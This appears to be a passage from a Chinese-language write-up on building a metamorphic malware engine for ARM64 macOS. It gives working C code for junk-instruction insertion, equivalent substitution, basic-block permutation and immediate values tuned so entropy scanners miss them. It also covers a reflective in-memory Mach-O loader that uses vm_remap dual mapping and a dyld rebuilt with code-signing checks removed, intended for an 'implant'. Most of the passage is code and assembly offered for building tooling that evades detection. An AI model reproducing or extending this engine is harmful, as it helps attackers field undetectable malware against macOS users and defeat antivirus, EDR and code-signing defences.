all_live |= live[i].live_in | live[i].live_out;
return all_live;
}
这很激进——会大量消耗循环内的变异机会。但循环恰恰是正确性 bug 最难发现的地方(只有在第 N 次迭代后才会暴露),所以这种保守策略目前是值得的。
另外,函数还会通过 STP/LDP 指令对将值溢出到栈上。如果你向一个存放了溢出的 callee-saved 寄存器的栈偏移处插入垃圾 STR 指令,其破坏效果与直接写入寄存器毫无二致。
我们将 SP 相对的存取操作追踪为”栈槽(stack slot)”,并对其独立进行活跃性分析:
int stack_liveness(const arm64_inst_t *insns, int n, slot_live_t *out) {
/* Discover SP-relative accesses, build slot table */
for (int i = 0; i < n; i++) {
int16_t off; uint8_t sz; bool store;
if (!is_sp_access(&insns[i], &off, &sz, &store)) continue;
int s = find_or_add_slot(slots, &num_slots, off, sz);
if (store) out[i].def |= (1u << s);
else out[i].use |= (1u << s);
}
/* Backward dataflow on slot bitmasks */
uint16_t live = 0;
for (int i = n - 1; i >= 0; i--) {
out[i].live_out = live;
live = out[i].use | (live & ~out[i].def);
out[i].live_in = live;
}
}
逻辑相同,域不同——不再是 32 个寄存器位,而是 16 个栈槽位。在插入任何涉及栈操作的垃圾代码之前,需要先检查:
static inline bool slot_is_aight(const slot_live_t *slive, int idx,
int16_t offset, uint8_t size) {
for (int s = 0; s < slive[0].num_slots; s++) {
if (!(slive[idx].live_out & (1u << s))) continue;
int16_t so = slive[0].slots[s].offset;
uint8_t ss = slive[0].slots[s].size;
if (offset < so + ss && so < offset + size)
return false; /* overlaps a live slot */
}
return true;
}
活跃性分析告诉你什么已经死了;定义 – 使用链(def-use chain)告诉你什么是相互关联的。一条链把寄存器的定义(写入)和下次重新定义之前所有的消费者(读取)串起来。寄存器重命名能安全进行,就是因为有这个。
举例:X3 在指令 5 处被定义,在指令 8 和 12 处被读取,形成一条链:def=5,uses=8,12。要在这条链上将 X3 重命名为 X7,引擎需要验证 X7 在定义点处已死,且在所有使用点之间保持已死状态。若验证通过,就对这三条指令中的寄存器字段进行修补:
int rename_reg(uint8_t *code, int n, const inst_live_t *live,
const def_use_t *chain, uint8_t new_reg) {
regset_t bit = REG_BIT(new_reg);
if (live[chain->def_idx].live_out & bit) return 0;
for (int i = 0; i < chain->num_uses; i++) {
if (live[chain->use_idx[i]].live_in & bit) return 0;
}
/* Safe - patch all occurrences */
patch_reg(code, chain->def_idx, old_reg, new_reg);
for (int i = 0; i < chain->num_uses; i++)
patch_reg(code, chain->use_idx[i], old_reg, new_reg);
}
链构建器在遇到分支时会查询活跃性信息:若某寄存器在条件分支处是 live-out 的,说明其值会流向分支之后的某条路径,因此链会继续扫描顺序下落路径;若已死,则链在此终止。
变异引擎如何整合以上分析
每一个变异决策都流经活跃性分析。mutate_ctx_t结构体携带完整的分析状态:
typedef struct {
const arm64_inst_t *insns;
const inst_live_t *live;
const slot_live_t *slive;
const bool *loop_body;
int n;
int idx;
aether_rng_t *rng;
} mutate_ctx_t;
垃圾代码插入调用 dead_regs()查找可用寄存器,检查是否允许使用会覆写标志位的指令变体,并查询 loop_body以在循环内进一步限制死集合。等价替换则用它来寻找多指令展开所需的临时寄存器。基本块重排用 liveness_full()验证重排不会破坏块间的寄存器依赖。
变异引擎说到底就是活跃性信息的消费者。没有它你就是在蒙;有了它,每次变换都能保证不搞坏语义。
- Liveness Analysis in Compiler Design
- Register Allocation
- Compiler Optimization: Register Allocation OpenEuler
变异技巧
以上所有部分——反汇编器、活跃性分析器、Mach-O 解析器——的存在,都是为了服务这些变换。每一种变换都会改变二进制文件的外观,同时保留其行为。将它们叠加应用 N 代之后,输出结果与输入在字节层面毫无共同之处。
最简单的变换——把什么都不做的指令塞进代码流。关键在于让它们看起来像真实的指令。
引擎有两种模式。死寄存器垃圾向无人关心的寄存器写入数据;活跃读取垃圾读取实际正在使用的寄存器作为源操作数,但将结果写入死寄存器——对任何分析器来说都像是真实的计算。
死寄存器垃圾从死集合中选取寄存器,生成算术、逻辑或移动操作:
uint32_t gen_junk(mutate_ctx_t *ctx) {
int i = ctx->idx;
regset_t dead = dead_regs(ctx->live, i);
/* Inside a loop exclude loop-live regs */
if (ctx->loop_body && ctx->loop_body[i]) {
regset_t ll = loop_live_regs(ctx->insns, ctx->live, ctx->n,
ctx->loop_body, i);
dead &= ~ll;
}
bool fl_dead = flags_are_dead(ctx->live, i);
uint8_t d1 = pick_dead(ctx, dead);
if (d1 == 0xFF) return 0xD503201F; /* nop */
uint8_t d2 = pick_dead(ctx, dead & ~REG_BIT(d1));
/* ... more shii ... */
}
选择矩阵取决于当前可用资源。两个死寄存器加死标志位提供最宽泛的选择——12 种不同的指令形式,包括 ADDS、SUBS、ANDS、MUL、移位和移动指令。只有一个死寄存器而标志位活跃时,则限制为不设置标志位的变体,如 ADD、SUB、MOVZ 和 MOV。引擎从当前合法的选项中随机选取。
活跃读取垃圾更有意思。它选取一个实际承载活跃值的寄存器作为源操作数,将结果写入死寄存器:
uint32_t gen_live_junk(mutate_ctx_t *ctx) {
/* ... */
regset_t live_regs = ctx->live[i].live_out & 0x1FFFFFFFu;
uint8_t lr = /* random live register */;
uint8_t d = /* random dead register */;
switch (rng(ctx) % 10) {
case 0: return enc_add_imm(d, lr, imm, sf); /* ADD dead, live, #imm */
case 1: return enc_sub_imm(d, lr, imm, sf); /* SUB dead, live, #imm */
case 2: return enc_orr_reg(d, lr, lr, sf); /* ORR dead, live, live */
case 3: return enc_and_reg(d, lr, lr, sf); /* AND dead, live, live */
/* ... more ... */
}
}
对任何反汇编器而言,ADD X11, X3, #7看起来都像是在基于 X3 做某种计算——而且 X3 确实承载着真实的值。只不过运算结果写入了 X11,而 X11 之后无人问津。没有对变异后二进制文件做独立的活跃性分析,这条指令与真实代码无从区分。
Before:
0x00: STP X29, X30, [SP, #-16]!
0x04: MOV X29, SP
0x08: MOV X8, X0
0x0c: LDR X9, [X8, #16]
0x10: ADD X10, X9, #1
0x14: CMP X10, #100
0x18: B.GE #24
0x1c: STR X10, [X8, #16]
0x20: MOV X0, #1
0x24: LDP X29, X30, [SP], #16
0x28: RET
After (generation 1, expand):
0x00: STP X29, X30, [SP, #-16]!
0x04: MOV X29, SP
0x08: ORR X11, X29, X29 ; junk: live-read X29, write dead X11
0x0c: MOV X8, X0
0x10: SUB X3, X8, #12 ; junk: live-read X8, write dead X3
0x14: LDR X9, [X8, #16]
0x18: ADD X10, X9, #1
0x1c: ADD X5, X9, #63 ; junk: live-read X9, write dead X5
0x20: CMP X10, #100
0x24: B.GE #28
0x28: MOVZ X14, #0x8 ; junk: write dead X14
0x2c: STR X10, [X8, #16]
0x30: MOV X0, #1
0x34: LDP X29, X30, [SP], #16
0x38: RET
原来的 11 条指令变成了 15 条。插入了 4 条垃圾指令,每条都经活跃性分析验证安全。活跃读取变体(以 X29、X8、X9 为源)在没有数据流分析的情况下与真实计算无从区分。
等价替换
用不同指令(或指令序列)替换一条指令,产生相同的结果。语义完全相同,编码完全不同。
引擎处理常见情形:移动、加法、减法、比较和立即数加载:
int equiv_subst(mutate_ctx_t *ctx, uint32_t *out) {
const arm64_inst_t *inst = &ctx->insns[ctx->idx];
bool fl = flags_are_dead(ctx->live, ctx->idx);
uint8_t scratch = pick_dead(ctx, dead_regs(ctx->live, ctx->idx));
uint32_t r = rng(ctx);
switch (inst->op) {
case ARM_OP_MOV_REG: {
uint8_t d = inst->rd, m = inst->rm;
bool sf = inst->is_64bit;
switch (r % 3) {
case 0: out[0] = enc_add_imm(d, m, 0, sf); return 1;
case 1: out[0] = enc_eor_reg(d, m, 31, sf); return 1;
case 2:
if (scratch != 0xFF) {
out[0] = enc_orr_reg(scratch, 31, m, sf);
out[1] = enc_orr_reg(d, 31, scratch, sf);
return 2;
}
out[0] = enc_add_imm(d, m, 0, sf);
return 1;
}
}
case ARM_OP_ADD:
if (!inst->sets_flags && inst->imm > 0 && inst->imm <= 0xFFF) {
uint16_t imm = (uint16_t)inst->imm;
switch (r % 3) {
case 0: /* MOVZ scratch, #imm; ADD Xd, Xn, scratch */
if (scratch != 0xFF) {
out[0] = enc_movz(scratch, imm, sf);
out[1] = enc_add_reg(d, n, scratch, sf);
return 2;
}
return 0;
case 2: /* Split: ADD Xd,Xn,#a; ADD Xd,Xd,#b where a+b=imm */
if (imm >= 2) {
uint16_t a = (rng(ctx) % (imm - 1)) + 1;
out[0] = enc_add_imm(d, n, a, sf);
out[1] = enc_add_imm(d, d, imm - a, sf);
return 2;
}
}
}
break;
case ARM_OP_MOV_IMM: {
uint64_t inv = (~(uint64_t)inst->imm) & mask;
if (inv <= 0xFFFF) {
out[0] = enc_movn(d, (uint16_t)inv, sf);
return 1;
}
if (uval <= 0xFFF && fl) {
out[0] = enc_eor_reg(d, d, d, sf); /* zero via XOR */
out[1] = enc_add_imm(d, d, uval, sf); /* then add */
return 2;
}
}
/* ... CMP, SUB, SUBS cases ... */
}
}
每个替换都受活跃性分析把关。两指令展开需要一个临时寄存器——pick_dead()从死集合中查找。若无可用临时寄存器,引擎回退至一对一替换,或完全跳过该替换。ADD 拆分尤为巧妙:ADD X5, X3, #100变成 ADD X5, X3, #37; ADD X5, X5, #63,每次以随机方式拆分。结果相同,立即数不同,指令数量不同。
Before:
0x1000: MOV X5, X3 ; ORR X5, XZR, X3
0x1004: ADD X6, X5, #100
0x1008: MOV X0, #0xFF
0x100c: CMP X6, #200
After (generation 1):
0x1000: ADD X5, X3, #0 ; MOV > ADD with zero immediate
0x1004: MOVZ X11, #100
0x1008: ADD X6, X5, X11 ; Then register-form ADD
0x100c: MOVN X0, #0xFF00
0x1010: SUBS XZR, X6, X11 ; CMP > explicit SUBS with scratch
After (generation 2, mutating generation 1's):
0x1000: EOR X5, X3, XZR
0x1004: MOVZ X14, #100
0x1008: ADD X6, X5, X14
0x100c: EOR X0, X0, X0 ; MOVN > XOR-zero
0x1010: ADD X0, X0, #0xFF
0x1014: MOVZ X11, #200
0x1018: SUBS XZR, X6, X11 ; then register-form SUBS
4 条指令变成 5 条,再变成 7 条。每一代都在前一代替换的基础上叠加。原始的 MOV X5, X3经历两次变换,现在是 EOR X5, X3, XZR——完全不同的操作码,语义相同。在第 0 代匹配 ORR Xd, XZR, Xm的特征,到第 2 代已无任何可识别的痕迹。
关键约束是代码中的 can_grow标志。在扩展代(奇数代),允许多指令替换,代码体积增长;在重塑代(偶数代),只允许一对一替换——代码在不改变大小的前提下改变形态。这是经典的交替策略,在防止无限膨胀的同时,仍能产生无限数量的唯一代。
基本块重排
有两种重排方式:局部窗口重排(在小窗口内交换单条指令)和全局基本块置换(打乱整个基本块的顺序并修复跳转)。
窗口重排
两条指令可以交换位置,前提是它们之间没有数据依赖。依赖检查十分严格,涵盖经典流水线理论中的三种冒险类型:
bool can_reorder(const arm64_inst_t *insns, const inst_live_t *live, int a, int b) {
const arm64_inst_t *ia = &insns[a], *ib = &insns[b];
if (ia->is_control_flow || ib->is_control_flow) return false;
if (ia->is_privileged || ib->is_privileged) return false;
if (!ia->valid || !ib->valid) return false;
/* Memory alias analysis */
if (ia->addr_mode && ib->addr_mode) {
/* Pre/post-index modify base - never reorder */
if (ia->addr_mode == ADDR_PRE_INDEX || ia->addr_mode == ADDR_POST_INDEX) return false;
if (ib->addr_mode == ADDR_PRE_INDEX || ib->addr_mode == ADDR_POST_INDEX) return false;
if (!mem_is_store(ia) && !mem_is_store(ib)) goto check_regs;
/* Same base + non-overlapping offsets: safe */
if (ia->rn == ib->rn && ia->addr_mode == ADDR_OFFSET && ib->addr_mode == ADDR_OFFSET) {
int64_t a_hi = ia->imm + ia->access_size;
int64_t b_hi = ib->imm + ib->access_size;
if (a_hi <= ib->imm || b_hi <= ia->imm) goto check_regs;
}
return false; /* conservative: assume aliasing */
}
check_regs:
/* RAW: A writes, B reads same register */
/* WAW: A writes, B writes same register */
/* WAR: A reads, B writes same register */
for (int i = 0; i < ia->num_regs_written; i++) {
uint8_t wr = ia->regs_written[i];
for (int j = 0; j < ib->num_regs_read; j++)
if (wr == ib->regs_read[j]) return false;
for (int j = 0; j < ib->num_regs_written; j++)
if (wr == ib->regs_written[j]) return false;
}
for (int i = 0; i < ia->num_regs_read; i++)
for (int j = 0; j < ib->num_regs_written; j++)
if (ia->regs_read[i] == ib->regs_written[j]) return false;
/* Flag dependencies */
if (ia->sets_flags && ib->reads_flags) return false;
if (ia->reads_flags && ib->sets_flags) return false;
if (ia->sets_flags && ib->sets_flags) return false;
return true;
}
RAW(写后读):指令 B 读取 A 写入的寄存器。交换后 B 读到的是 A 执行前的旧值——错误。WAW(写后写):两条指令写入同一寄存器。交换后改变了哪个值保留下来——错误。WAR(读后写):B 写入 A 读取的寄存器。交换后 A 读到的是 B 写入的值而非原值——错误。
若上述冒险均不存在,则两条指令相互独立,可按任意顺序执行。内存别名分析再加一层:同一地址的两条存储指令不能重排,但两条加载指令可以,且基地址相同但偏移不重叠的加载与存储也可以。
窗口重排器将这一规则应用于小窗口内的所有指令对:
int reorder_window(arm64_inst_t *insns, const inst_live_t *live,
int start, int end, aether_rng_t *rng) {
int n = end - start;
int swaps = 0;
for (int trial = 0; trial < n * 2; trial++) {
int i = start + aether_rand_n(rng, n);
int j = start + aether_rand_n(rng, n);
if (i == j) continue;
/* Verify all intermediate instructions are also independent */
int lo = i < j ? i : j, hi = i < j ? j : i;
bool safe = true;
for (int k = lo + 1; k < hi && safe; k++) {
if (!can_reorder(insns, live, lo, k)) safe = false;
if (!can_reorder(insns, live, k, hi)) safe = false;
}
if (safe && can_reorder(insns, live, i, j)) {
arm64_inst_t tmp = insns[i];
insns[i] = insns[j];
insns[j] = tmp;
swaps++;
}
}
return swaps;
}
它随机选取指令对,检查交换是否安全——不只是检查两个端点之间,还要检查每条中间指令。每次交换后,窗口的活跃性信息会重新计算,使后续交换能看到准确的数据。这个方法很简单,效果也相对有限……
Before:
0x00: MOV X8, X0 ; [1] save argument
0x04: LDR X9, [X8, #16] ; [2] load field (depends on [1])
0x08: ADD X10, X9, #1 ; [3] increment (depends on [2])
0x0c: MOVZ X14, #0x8 ; [4] junk (independent)
0x10: CMP X10, #100 ; [5] compare (depends on [3])
After reordering:
0x00: MOV X8, X0 ; [1] can't move - [2] depends on it
0x04: MOVZ X14, #0x8 ; [4] moved up - independent of [2]
0x08: LDR X9, [X8, #16] ; [2] shifted down one slot
0x0c: ADD X10, X9, #1 ; [3] still after [2]
0x10: CMP X10, #100 ; [5] still after [3]
指令 4与 1到 5之间的所有指令都无依赖关系,因此它上浮了。依赖链 1>2>3>5保持原有顺序。代码行为完全相同,但指令序列已经不同。结合垃圾代码插入,重排以不可预测的方式将真实指令与伪造指令交织在一起。
然后是基本块置换,在更高层级上操作。它识别每个函数中的基本块,打乱其顺序,并插入无条件跳转(蹦床)以维持原有控制流:
size_t permute_blocks(const arm64_inst_t *insns, int n, uint32_t *out,
size_t out_max, aether_rng_t *rng) {
/* Find */
/* Build */
/* &Shuffle */
for (int i = nb - 1; i > 1; i--) {
int j = 1 + aether_rand_n(rng, i);
int t = order[i]; order[i] = order[j]; order[j] = t;
}
}
入口块(第 0 块)始终排在最前面——那是执行的起点。其余所有块都会被打乱。当一个块原本直接流向下一个块,但那个块现在已移到其他位置时,引擎会插入一条 B蹦床指令桥接。所有分支位移——B、B.cond、CBZ、CBNZ、TBZ、TBNZ——都会针对新布局重新计算。
Before (3 blocks, linear):
Block 0 (entry):
0x00: CMP X0, #10
0x04: B.GE block2 > 0x14
Block 1 (fallthrough):
0x08: ADD X0, X0, #1
0x0c: STR X0, [X1]
0x10: B block2 > 0x14
Block 2 (exit):
0x14: MOV X0, #0
0x18: RET
After permutation (block order: 0, 2, 1):
Block 0 (entry):
0x00: CMP X0, #10
0x04: B.GE block2 > 0x0c (retargeted)
0x08: B block1 > 0x14 (trampoline inserted)
Block 2 (moved up):
0x0c: MOV X0, #0
0x10: RET
Block 1 (moved down):
0x14: ADD X0, X0, #1
0x18: STR X0, [X1]
0x1c: B block2 > 0x0c (retargeted)
控制流完全相同,块布局完全不同。对二进制文件的线性扫描会看到:CMP、B.GE、B、MOV、RET、ADD、STR、B——”退出”代码出现在”执行”代码之前。每次置换产生不同的布局,N 个块有 (N-1)! 种可能的排列方式。
我们仔细处理函数边界——通过 RET/RETAA 指令检测边界,只在单个函数内置换块。跨函数置换会破坏栈帧和 callee-saved 寄存器的不变量。
熵
这是最隐蔽的问题。以上所有技术都会改变代码,但如果这些改变在统计上与真实编译器的输出有所不同,扫描器甚至不用查看单条指令就能识别出你。
问题出在立即数上。真实编译器生成的代码具有高度倾斜的立即数分布:结构体字段偏移集中于 8 的小倍数,布尔检查使用 0 和 1,数组边界使用小常量。这个分布绝非均匀——它急剧偏向小值。
朴素的垃圾生成方式会随机选取 12 位或 16 位立即数。一条 MOVZ X11, #0xB7A3会非常显眼,因为真实代码几乎从不向寄存器加载任意 16 位值。
因此,我们对立即数分布进行标准化,使其与真实编译器输出相匹配:
uint32_t r = rng(ctx);
uint16_t small_imm;
if ((r & 0xF) < 9) small_imm = rng(ctx) & 0xFF; /* 56% byte-sized */
else if ((r & 0xF) < 13) small_imm = rng(ctx) & 0x3F; /* 25% 6-bit (struct offsets) */
else small_imm = (rng(ctx) & 0x7) * 8; /* 19% aligned small */
生成的立即数中 56% 为字节级大小(0-255),25% 为 6 位值(0-63),与常见的结构体字段偏移相吻合,剩余约 19% 为小对齐值(0、8、16、24、32、40、48、56)——正是栈帧初始化和数组索引中常见的那类数字。不会出现随机 16 位值,不会出现真实代码中罕见的大常量。
移位量也遵循同样的逻辑:
uint8_t shift = (rng(ctx) % 3) + 1; /* 1-3, not 1-63 */
绝大多数情况下,真实代码只会移位 1、2 或 3 位。一条 LSL X11, X3, #47是危险信号;LSL X11, X3, #2看起来才像数组索引计算。
实际效果如下:
Naive junk (detectable):
MOVZ X11, #0xB7A3
ADD X5, X3, #0xD42
LSL X14, X8, #47 ; Compilers don't do this
SUBS X7, X2, #0xF91
Entropy-normalized junk (blends in):
MOVZ X11, #0x8
ADD X5, X3, #24 ; typical stack/struct access
LSL X14, X8, #2 ; looks array index (sizeof(int))
SUBS X7, X2, #0x30
两者同样毫无意义——它们都是向死寄存器写入数据。但第二组在统计分析面前是隐形的:立即数值落在编译器生成的 ARM64 代码的预期分布范围内。对立即操作数空间计算 Shannon 熵或卡方统计的扫描器,不会发现任何异常。
这仍然不完美——我们只是大致模拟了一个通用编译器的输出分布,而非当前变异的具体二进制文件的分布。更精妙的做法是对目标二进制文件真实指令的立即数分布进行采样,然后精确匹配。这留给以后再做,但目前的方案已经足够用了。
- ZPERM Virus Encyclopedia
- MetaPHOR source
- MetaPHOR Virus Encyclopedia
- 29A Group Virus Encyclopedia
- Metamorphic Engines Erkin Ekici
- Metamorphic Malware Jakob Friedl
- Hunting for Undetectable Metamorphic Viruses (PDF)
- Library: Metamorphism
- The Art of Self-Mutating Malware
反射式加载
前面所有东西都是铺垫。变形引擎吐出变异代码,活跃性分析器保证变异没搞坏语义,等价替换、垃圾代码和重排让每一代看起来都不一样。
但只要结果落盘,全白干。只要你写入一个文件,就创造了一个痕迹——哈希值、代码签名检查、Gatekeeper 隔离标志、Spotlight 索引项。一次 write()系统调用就足以击败内存内变异的全部意义。
反射式加载器就是干这个的。变异代码从堆上的字节缓冲区直接进入可执行内存,全程不碰文件系统:变异 → 封装成 Mach-O → 加载到内存 → 执行。没有 dlopen()路径,没有磁盘写入。这很关键——运行时哪怕改了一个字节,代码签名就废了,macOS 会直接拒绝运行。代码签名是 macOS 安全体系里很大一块。
W^X
macOS 强制执行写入异或执行(W^X)策略。一块内存页面可以是可写的,也可以是可执行的,但两者不能同时成立。这在 Apple Silicon 上通过页表项在硬件层面强制执行——XNU 的 vm_map_protect()(osfmk/vm/vm_map.c)会拒绝在同一映射上同时设置 VM_PROT_WRITE | VM_PROT_EXECUTE,除非进程拥有特定权限(如 com.apple.security.cs.allow-jit,这只有调试器和 JIT 引擎才能获得)。
这带来了一个问题。你需要将变异后的代码写入内存(需要 VM_PROT_WRITE),然后执行它(需要 VM_PROT_EXECUTE)。朴素的做法——分配可写内存、拷贝代码、再翻转为可执行——虽然可行,但会留下页面权限切换的可见窗口。更重要的是,在加固运行时环境中,对曾经可写的页面执行 vm_protect()W→X 翻转可能会被完全拒绝。
解决方案:创建两个指向同一物理页面的虚拟地址范围。一个映射是 RW(用于写入),另一个是 RX(用于执行)。通过 RW 映射写入,通过 RX 映射执行。任何单一虚拟地址都不会同时拥有 W 和 X 权限。
这不是黑魔法——Apple 自己的 JavaScriptCore JIT 就是这么干的。vm_remap()Mach 陷阱为现有物理页面创建第二个虚拟映射,定义在 XNU 源码的 osfmk/vm/vm_user.c中,通过 <mach/vm_map.h>对外暴露。
inmem_binary_t *inmem_load(integrated_code_t *ic, macho_file_t *mf) {
if (!ic || !mf) return NULL;
inmem_binary_t *ib = calloc(1, sizeof(inmem_binary_t));
if (!ib) return NULL;
/* Calculate total VM size from segment layout */
uint64_t min_addr = UINT64_MAX, max_addr = 0;
for (int i = 0; i < mf->num_segments; i++) {
if (mf->segments[i].vmsize == 0) continue;
if (mf->segments[i].vmaddr < min_addr) min_addr = mf->segments[i].vmaddr;
if (mf->segments[i].vmaddr + mf->segments[i].vmsize > max_addr)
max_addr = mf->segments[i].vmaddr + mf->segments[i].vmsize;
}
ib->size = ((max_addr - min_addr) + 0xFFF) & ~0xFFF;
vm_address_t rw_addr = 0;
kern_return_t kr = vm_allocate(mach_task_self(), &rw_addr, ib->size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) { free(ib); return NULL; }
vm_protect(mach_task_self(), rw_addr, ib->size, FALSE, VM_PROT_READ | VM_PROT_WRITE);
vm_address_t rx_addr = 0;
vm_prot_t cur, max;
kr = vm_remap(mach_task_self(), &rx_addr, ib->size, 0,
VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR,
mach_task_self(), rw_addr, FALSE,
&cur, &max, VM_INHERIT_NONE);
逐步解析 vm_remap的参数:mach_task_self()同时是目标任务和源任务——我们在自身地址空间内重新映射。rx_addr是输出参数,VM_FLAGS_ANYWHERE让内核自行选择地址。rw_addr是源地址——我们已分配的页面。FALSE(copy 参数)是关键:”别复制页面,共享它们。”两个虚拟地址现在指向相同的物理帧。
VM_FLAGS_RETURN_DATA_ADDR告诉内核返回数据页面的地址,而非命名条目的起始地址。在 Apple Silicon 上,内核可能插入保护页,这一点很重要。
之后只需简单地
if (kr == KERN_SUCCESS) {
vm_protect(mach_task_self(), rx_addr, ib->size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
/* Copy segments through the RW mapping */
for (int i = 0; i < mf->num_segments; i++) {
if (mf->segments[i].filesize == 0) continue;
uint64_t offset = mf->segments[i].vmaddr - min_addr;
if (offset + mf->segments[i].filesize <= ib->size) {
if (mf->text_segment &&
mf->segments[i].vmaddr == mf->text_segment->vmaddr) {
memcpy((uint8_t*)rw_addr + offset, ic->code, ic->size);
} else {
memcpy((uint8_t*)rw_addr + offset,
mf->data + mf->segments[i].fileoff,
mf->segments[i].filesize);
}
}
}
ib->base_addr = (void*)rx_addr; /* execute from here */
ib->rw_addr = (void*)rw_addr; /* write through here */
ib->dual_mapped = true;
ib->entry_offset = mf->entry_point;
return ib;
}
memcpy写入的是 rw_addr(可写)。但由于物理页面是共享的,这些字节立即在 rx_addr(可执行)处可见。无需权限翻转,无需竞争窗口,无需 mprotect操作。代码在写入的同时即可执行。
__TEXT段获得特殊处理——不是从原始 Mach-O 数据复制,而是从 ic->code(变异后的集成代码)复制。其他所有段(如果有的话)来自原始二进制文件。这就是变异代码替换原始代码、同时保留其余二进制结构的方式。
vm_remap可能失败。沙盒进程可能没有 mach_vm_remap权限;某些 MDM 配置文件会限制它;带库验证的加固运行时也可能干扰。当双映射失败时,回退到带权限翻转的单映射:
/* single mapping with W>X transition */
for (int i = 0; i < mf->num_segments; i++) {
if (mf->segments[i].filesize == 0) continue;
uint64_t offset = mf->segments[i].vmaddr - min_addr;
if (offset + mf->segments[i].filesize <= ib->size) {
if (mf->text_segment &&
mf->segments[i].vmaddr == mf->text_segment->vmaddr) {
memcpy((uint8_t*)rw_addr + offset, ic->code, ic->size);
} else {
memcpy((uint8_t*)rw_addr + offset,
mf->data + mf->segments[i].fileoff,
mf->segments[i].filesize);
}
}
}
vm_protect(mach_task_self(), rw_addr, ib->size, FALSE,
VM_PROT_READ | VM_PROT_EXECUTE);
ib->base_addr = (void*)rw_addr;
ib->rw_addr = NULL;
ib->dual_mapped = false;
相同的分配,相同的拷贝,但最后只需一次 vm_protect调用将整个区域从 RW 翻转为 RX。这在大多数 macOS 配置上都有效,但有两个缺点:W→X 转换是可检测事件(EDR 可通过 ES 子系统挂钩 vm_protect),而且一旦翻转为 RX,就无法在不再次翻转的情况下写入这些页面。双映射路径保持 RW 映射存活,使后续各代可以就地覆写代码,无需任何额外的系统调用。
inmem_binary_t结构体记录采用了哪条路径:
typedef struct {
void *base_addr; /* RX mapping e from here */
void *rw_addr; /* RW mapping w here */
size_t size;
uint64_t entry_offset;
bool dual_mapped; /* true = vm_remap succeeded */
} inmem_binary_t;
将变异代码封装为 Mach-O
加载之前,原始变异字节需要封装成有效的 Mach-O 结构。引擎从零构造一个最小化的 dylib——不涉及链接器,不涉及磁盘 I/O,纯内存构建:
uint8_t *wrap_macho(const uint8_t *code, size_t code_sz, size_t *out_sz) {
size_t hdr_sz = sizeof(struct mach_header_64)
+ sizeof(struct segment_command_64) /* __PAGEZERO */
+ sizeof(struct segment_command_64) + sizeof(struct section_64) /* __TEXT+__text */
+ sizeof(struct segment_command_64) /* __LINKEDIT */
+ sizeof(struct symtab_command)
+ sizeof(struct dysymtab_command)
+ sizeof(struct dyld_info_command);
size_t code_off = PG_ALIGN(hdr_sz);
size_t code_aln = PG_ALIGN(code_sz);
size_t link_off = code_off + code_aln;
size_t total = link_off + PG;
uint8_t *buf = calloc(1, total);
这是一个 Mach-O dylib 合法所需的绝对最小布局:__PAGEZERO(空指针陷阱页)、包含变异代码的单节 __TEXT.__text、带空符号/字符串表的 __LINKEDIT,以及三个必需的加载命令(LC_SYMTAB、LC_DYSYMTAB、LC_DYLD_INFO_ONLY)。PG_ALIGN宏将大小对齐到 16KB 页边界(Apple Silicon 上为 0x4000,x86 是 4KB)。
头部将其声明为 MH_DYLIB,并设置 MH_PIE | MH_NOUNDEFS | MH_DYLDLINK:
struct mach_header_64 *mh = (void *)buf;
mh->magic = MH_MAGIC_64;
mh->cputype = CPU_TYPE_ARM64;
mh->cpusubtype = CPU_SUBTYPE_ARM64_ALL;
mh->filetype = MH_DYLIB;
mh->ncmds = 6;
mh->flags = MH_NOUNDEFS | MH_DYLDLINK | MH_PIE;
使用 MH_DYLIB而非 MH_EXECUTE,因为反射式加载器将其视为可加载镜像,而非独立可执行文件。MH_NOUNDEFS告诉加载器没有未定义的符号需要解析——无外部依赖,无需 dyld 绑定。MH_PIE启用 ASLR 兼容加载,可在任意基地址运行。
__TEXT段的保护属性设置为 VM_PROT_READ | VM_PROT_EXECUTE,不含写权限:
ts->maxprot = VM_PROT_READ | VM_PROT_EXECUTE;
ts->initprot = VM_PROT_READ | VM_PROT_EXECUTE;
这与合法签名 dylib 的声明完全一致。任何在内存中检查 Mach-O 头的工具看到的保护位都是正常的。实际的写入访问通过双映射的 RW 区域进行,那个区域位于完全不同的虚拟地址。
LC_DYLD_INFO_ONLY命令存在但全部清零——没有绑定操作码,没有重定位操作码,没有导出 trie。这意味着该镜像没有任何重定位需要处理,没有符号需要解析,没有懒绑定存根。它是一个自包含的位置无关代码块。这之所以可行,是因为变异引擎在封装之前已经解析了所有内部跳转。
用户空间 dyld
前面我们一带而过的 custom_dlopen_from_memory,其实并不是一个薄封装——它是 dyld(Apple 动态链接器)的完整用户空间重新实现,编译为静态库后直接链接进植入物。源码位于 ReflectiveLoader/loader/src/,通过 cmake 构建为 lib/libloader.a。它衍生自 Apple 的开源 dyld,所有类都迁移到了 isolator命名空间,每处代码签名验证都通过 #if UNSIGN_TOLERANT守卫编译移除。
$ ar t lib/libloader.a
__.SYMDEF
ImageLoader.cpp.o
ImageLoaderMachO.cpp.o
ImageLoaderMachOCompressed.cpp.o
ImageLoaderProxy.cpp.o
ObjCRuntime.cpp.o
custom_dlfcn.cpp.o
dyld_stubs.cpp.o
共 7 个目标文件。类层次结构几乎完全镜像了 Apple 的 dyld:ImageLoader是抽象基类,ImageLoaderMachO负责段映射和加载命令解析,ImageLoaderMachOCompressed处理 LINKEDIT 格式——绑定操作码、懒绑定、链式修复、导出 trie。所有内容都位于 isolator命名空间,以避免与同进程内运行的真实 dyld 产生符号冲突。
将 ReflectiveLoader/loader/src/中的所有 .cpp文件以 -DUNSIGN_TOLERANT=1编译,打包为静态库:
add_library(${TARGET} STATIC ${SRC} ${HDR})
target_compile_definitions(${TARGET} PRIVATE UNSIGN_TOLERANT=1)
target_compile_options(${TARGET} PRIVATE -fdata-sections -ffunction-sections -fvisibility=hidden)
UNSIGN_TOLERANT=1是核心改造。它把守了整个代码库中的 37 个 #ifdef块——所有 Apple dyld 原本会验证代码签名、检查 LC_CODE_SIGNATURE、调用 csops()或拒绝未签名二进制文件的地方,检查逻辑都被编译移除。-fvisibility=hidden确保内部的 isolator::符号不会泄漏到最终二进制文件的导出表。
$ nm -g lib/libloader.a | c++filt | grep "T _custom_dl"
0000000000001360 T _custom_dlopen_from_memory
0000000000000c4c T _custom_dlopen
0000000000001590 T _custom_dlsym
00000000000019b8 T _custom_dlclose
0000000000000c10 T _custom_dlerror
